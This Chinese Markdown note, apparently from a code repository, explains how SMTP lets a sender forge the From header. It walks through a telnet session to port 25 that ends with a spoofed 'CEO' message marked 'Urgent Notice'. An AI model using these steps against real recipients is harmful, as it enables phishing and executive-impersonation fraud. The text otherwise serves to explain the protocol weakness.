Files
2025-09-25 04:03:45 +08:00

80 lines
2.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 伪造电子邮件的原理
**1. SMTP 协议的漏洞**
SMTP 协议在设计之初,主要关注邮件的投递,而不是发件人的身份验证。它的工作方式非常简单:
1. **`HELO/EHLO`**:发送方(邮件客户端或服务器)向接收方(邮件服务器)发出问候,告知自己的域名
2. **`MAIL FROM`**:发送方指定**邮件的“信封发件人”**,也就是邮件的实际投递地址
3. **`RCPT TO`**:发送方指定收件人地址
4. **`DATA`**:发送方发送邮件内容,包括邮件的**“信头”**(`From``To``Subject` 等)和邮件正文
**漏洞所在**:在 SMTP 协议中,`MAIL FROM` 和信头中的 `From` 地址是**两个独立的字段**,且 **SMTP 服务器不会对这两者进行交叉验证**
- `MAIL FROM`:用于邮件投递,类似于信封上的回邮地址
- `From`:用于显示给用户看,类似于信纸上的发件人
攻击者可以轻松地在 `MAIL FROM` 中使用自己的地址,而在 `From` 字段中填写任何伪造的地址,例如 `ceo@yourcompany.com`。接收方邮件服务器只会检查 `MAIL FROM` 的合法性,而收件人看到的则是被伪造的 `From` 地址
**2. 伪造电子邮件的步骤**
**第一步:搭建邮件发送环境**
攻击者可以使用自己的服务器或第三方服务来发送邮件。最简单的方式是使用一个 Linux 服务器,通过 **Telnet****Netcat** 直接连接到目标邮件服务器的 **25** 端口,模拟 SMTP 协议的发送过程
**第二步:执行伪造命令**
攻击者在命令行中,按照 SMTP 协议的规范,输入以下命令:
1. **连接邮件服务器**
```bash
telnet mailserver.targetdomain.com 25
```
2. **问候**
```
HELO attacker.com
```
3. **指定“信封发件人”**
```
MAIL FROM:<me@attacker.com>
```
这个地址通常是攻击者自己的,它只用于投递过程
4. **指定收件人**
```
RCPT TO:<victim@targetdomain.com>
```
5. **发送邮件内容**
```
DATA
```
服务器会回复一个 `354` 码,表示可以开始输入邮件内容
6. **伪造“信头”**
```
From: "CEO" <ceo@yourcompany.com>
To: <victim@targetdomain.com>
Subject: Urgent Notice
```
这里,`From` 字段被伪造成了 CEO 的地址,而收件人看到的就是这个伪造的地址
7. **发送正文**
```
<邮件正文内容>
.
```
输入一个单独的 `.`,然后回车,表示邮件结束。服务器会回复 `250` 码,表示邮件已发送成功